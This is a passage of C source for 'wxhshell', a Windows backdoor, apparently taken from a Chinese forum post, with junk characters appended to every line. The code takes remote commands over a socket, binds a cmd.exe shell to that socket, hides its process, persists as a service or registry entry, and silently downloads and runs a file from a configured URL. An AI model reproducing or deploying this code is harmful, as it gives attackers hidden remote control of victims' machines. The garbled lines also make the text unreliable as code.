    switch(cmd[0]) { +B " aUF  
  L=qhb;  
  // 帮助 [n| }>  
  case '?': {  mjP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iB(?}SaAZ  
    break; w-ald?`  
  } lAM)X&}0  
  // 安装 v5L+B`~  
  case 'i': { H[p~1%Lq  
    if(Install()) A r~/KRK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -rI7ihr*  
    else S$hxR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e|~{ X\l  
    break; y>0 @.  
    } Cip|eM&l  
  // 卸载 Yg '(  
  case 'r': { y\;oZ]J  
    if(Uninstall()) ^i#0aq2}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"Qq/ knVL  
    else _g/d/{-{Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'l<$H=ZUVG  
    break; 0J'Cx&Rg  
    } Xe\}(O  
  // 显示 wxhshell 所在路径 l![79 eFp  
  case 'p': { F/lL1nTdK  
    char svExeFile[MAX_PATH]; CHv n8tk  
    strcpy(svExeFile,"\n\r"); JUA%l  
      strcat(svExeFile,ExeFile); M !"Q7>d  
        send(wsh,svExeFile,strlen(svExeFile),0); [dP<A ?s  
    break; ]Xnar:5  
    } ,&4 [`d  
  // 重启 8 A]8yX =  
  case 'b': { 0'r}]Mws  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Od;k}u6;<  
    if(Boot(REBOOT)) nbP}a?XC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :KvZP:T  
    else { _ymSo`Iv R  
    closesocket(wsh); cJq {;~   
    ExitThread(0); 6x(b/`VW  
    } NiVLx_<Pr'  
    break; X%-hTl  
    } rU"AO}6\@  
  // 关机 ^0>^5l'n  
  case 'd': { T+P{,,a/]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4`#%<G  
    if(Boot(SHUTDOWN)) SGZYDxFC@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  EJC}"%h  
    else { 3=ME$%f  
    closesocket(wsh); rjcH[U(  
    ExitThread(0); rtvLLOIO  
    } |>j^$^l~  
    break; Et*LbU  
    } "7+^`?  
  // 获取shell 4IfkYM  
  case 's': { `_Iyr3HAf  
    CmdShell(wsh); 9m>L\&\_e  
    closesocket(wsh); Th%w-19,8  
    ExitThread(0); lmoYQFkYP  
    break; &f'Lll  
  } h6LjReNo  
  // 退出 t"%~r3{  
  case 'x': { AM!P?${a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); otjT ?R2g'  
    CloseIt(wsh); ^8oN~HLZ  
    break; p + JOUW  
    } R6;229e  
  // 离开 \ :@!rM  
  case 'q': { 0W6= '7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4xs>X7  
    closesocket(wsh); }W " i{s/  
    WSACleanup(); B\AyG4J  
    exit(1); r\b$/:y<e  
    break; P!9-!+F"  
        } V e[Kv07  
  } e'npa*.e  
  } @Kbj:S ;m  
C;ha2UV0H  
  // 提示信息 O>rz+8T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t9W*N\  
} fF/;BSq'  
  } p,8:(|(  
O>X!78]#K  
  return; 7[kDc-  
} -y&>&D  
u^ wG Vg  
// shell模块句柄 96F+I!qC  
int CmdShell(SOCKET sock) ^JIs:\ g<<  
{  :5^5l  
STARTUPINFO si; H9VdoxKo  
ZeroMemory(&si,sizeof(si)); Tff eCaBv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }/NL"0j+4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :8)3t! A  
PROCESS_INFORMATION ProcessInfo; m7> )p]]  
char cmdline[]="cmd"; 78Zb IL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $dt* 4n'  
  return 0; uX7"u*@Q*~  
} )buy2#8UW  
O'k<4'TC  
// 自身启动模式 )u!}`UJ  
int StartFromService(void) Cq=k3d#}  
{ :oZ~&H5Q  
typedef struct sDHFZ:W  
{ `kOp9(Q{  
  DWORD ExitStatus; _3KfY  
  DWORD PebBaseAddress; IU}g[O Cu  
  DWORD AffinityMask; `$;%%/tx  
  DWORD BasePriority; k lr1"q7  
  ULONG UniqueProcessId; =cR=E{20  
  ULONG InheritedFromUniqueProcessId; 0F 4%Xz  
}   PROCESS_BASIC_INFORMATION; 1@]gBv<  
5X-d,8{w _  
PROCNTQSIP NtQueryInformationProcess; GV)DLHiyxX  
N':d T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c&L|e$C]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G"<} s mB  
~|wh/]{b9  
  HANDLE             hProcess; ` NvJ  
  PROCESS_BASIC_INFORMATION pbi; ''EFh&F  
UUgc>   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;2eZa|M*q  
  if(NULL == hInst ) return 0; PTA_erU  
vN)l3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QN~9O^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Ze2]^#dl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #k)J);&ZA  
8g_GXtn(z  
  if (!NtQueryInformationProcess) return 0; Q@l.p-:^U  
+r =p ,leb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ln96*)M;  
  if(!hProcess) return 0; P.t7_v>  
x5W@zqj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RjR  
i'Q 4touy  
  CloseHandle(hProcess); 9;pD0h|  
:?gk =JH:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /@s(8{;  
if(hProcess==NULL) return 0; Q S.w#"X[  
Z2\Xe~{  
HMODULE hMod; 4L6'4t"s  
char procName[255]; 9fq CE619a  
unsigned long cbNeeded; tj!~7lo  
?)c9!hR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +@C|u'  
Je~Ybh  
  CloseHandle(hProcess); !RdubM  
O:O +Q!58  
if(strstr(procName,"services")) return 1; // 以服务启动 ..ht)Gex  
bU"2D.k  
  return 0; // 注册表启动 c f1GA  
} jJY!;f  
L/J)OJe\  
// 主模块 D~<0CQ3n.  
int StartWxhshell(LPSTR lpCmdLine) e~BUAz  
{ 8 =<&9TmE  
  SOCKET wsl; Q pbzx/2h  
BOOL val=TRUE; Wp$'#HhB  
  int port=0; wn{DY v7B  
  struct sockaddr_in door; 'St\$X  
{BJn9B  
  if(wscfg.ws_autoins) Install(); J{5&L &4  
f9&po2Pzf  
port=atoi(lpCmdLine); o4pe>hn  
=arrp:  
if(port<=0) port=wscfg.ws_port; olf7L%  
!"x&tF  
  WSADATA data; 7j L.\O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W[tX%B  
.Cf`D tK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nqyB,vv0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lAPvphO  
  door.sin_family = AF_INET; rw ou[QU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sv?Lk4_  
  door.sin_port = htons(port); yY42+%P  
|nj,]pA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b6UD!tXp  
closesocket(wsl); >) PcK  
return 1; ;O7<lF\7o  
} 9i+SU|;j  
2f$6}m'Ad  
  if(listen(wsl,2) == INVALID_SOCKET) { RBzBR)@5   
closesocket(wsl); P ".[=h  
return 1; [6Gb@jG  
} t<2B3&o1  
  Wxhshell(wsl); eE-@dU?  
  WSACleanup(); $]yHk  
'hi.$G_R  
return 0; }EZd=_kAq~  
9 nPc>O$  
} ^.@BD4/RPt  
hzjEO2  
// 以NT服务方式启动 2aUy1*aM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V<;w  
{ r/vRaOg>X  
DWORD   status = 0; iv/!c Mb  
  DWORD   specificError = 0xfffffff; noa =wy  
sC.aT(meJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yqw#= fy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +MfdZD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #\]:lr{>?4  
  serviceStatus.dwWin32ExitCode     = 0; ;:l\_b'Z}  
  serviceStatus.dwServiceSpecificExitCode = 0; 4>&%N\$*  
  serviceStatus.dwCheckPoint       = 0; &u'$q  
  serviceStatus.dwWaitHint       = 0; 2Y@:Vgg  
ZsPT!l,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C&vUZa[p  
  if (hServiceStatusHandle==0) return; 75LIQ!G|=  
KPOr8=Rc  
status = GetLastError(); T.sib&R  
  if (status!=NO_ERROR) TYQ7jt0=.-  
{ E$'Zd,|f=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AVys`{*c  
    serviceStatus.dwCheckPoint       = 0; ljij/C=  
    serviceStatus.dwWaitHint       = 0; n~g,qEI;<x  
    serviceStatus.dwWin32ExitCode     = status; ;U=RV&  
    serviceStatus.dwServiceSpecificExitCode = specificError; n%>c4*t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8)D5loS  
    return; M@V.?;F},  
  } XJ|CC.]1u  
0P<bS?e<l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \lnpsf  
  serviceStatus.dwCheckPoint       = 0; J<<0U;  
  serviceStatus.dwWaitHint       = 0; e.<$G'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h$Z_r($b  
} ]e'Ol$3U9=  
e[HP]$\   
// 处理NT服务事件,比如:启动、停止 \/J7U|@Lt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jbud_.h9  
{ s 9,?"\0Zm  
switch(fdwControl) YI=03}I  
{ #[^?f[ 9r  
case SERVICE_CONTROL_STOP: )pS1yYLj  
  serviceStatus.dwWin32ExitCode = 0; J?WT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AS34yM(h  
  serviceStatus.dwCheckPoint   = 0; I-E}D"F;p[  
  serviceStatus.dwWaitHint     = 0; 8,BNs5  
  { bY4~\cP.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sglYT!O  
  } HG2i^y  
  return; tK3.HvD  
case SERVICE_CONTROL_PAUSE: Q7X6OFl?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]>NP?S )R  
  break; }xx[=t=nUf  
case SERVICE_CONTROL_CONTINUE: Ds4n>V,o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N:j"W,8  
  break; 6% @@~"  
case SERVICE_CONTROL_INTERROGATE: qNP&f 8fH  
  break; _7(>0GY  
}; B{wx"mK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?u/Uov@rD  
} yIBT*,4  
X6jW mo8]  
// 标准应用程序主函数 zPp?D_t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PpPg ~ix*  
{ 7q>WO  
:yN;_bC!b%  
// 获取操作系统版本 @B;2z_Y!l  
OsIsNt=GetOsVer(); e&G!5kz!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T6[];|%W  
F V8K_xj  
  // 从命令行安装 Y27x;U  
  if(strpbrk(lpCmdLine,"iI")) Install(); {=W TAgP  
e_Na_l]  
  // 下载执行文件 D[2I_3[wp  
if(wscfg.ws_downexe) { ^2L\Y2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X\tE#c&K  
  WinExec(wscfg.ws_filenam,SW_HIDE); /; ;_l2t  
} [A?Dx-R;(  
zc&>RM  
if(!OsIsNt) { $Q,Fr; B  
// 如果时win9x,隐藏进程并且设置为注册表启动 (0jT#&#  
HideProc(); :kUZNw'Bi  
StartWxhshell(lpCmdLine); R}MdBE  
} 8RJXY:%  
else ezRhSN?  
  if(StartFromService()) 413,O~^  
  // 以服务方式启动 OOy]:t4 /  
  StartServiceCtrlDispatcher(DispatchTable); i3~"qbU%z[  
else USLG G}R  
  // 普通方式启动 Az.(tJ X"  
  StartWxhshell(lpCmdLine); ',L>UIXw  
^&oa\7<'  
return 0; |QwX  
}
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只看该作者 1 发表于: 2006-10-10
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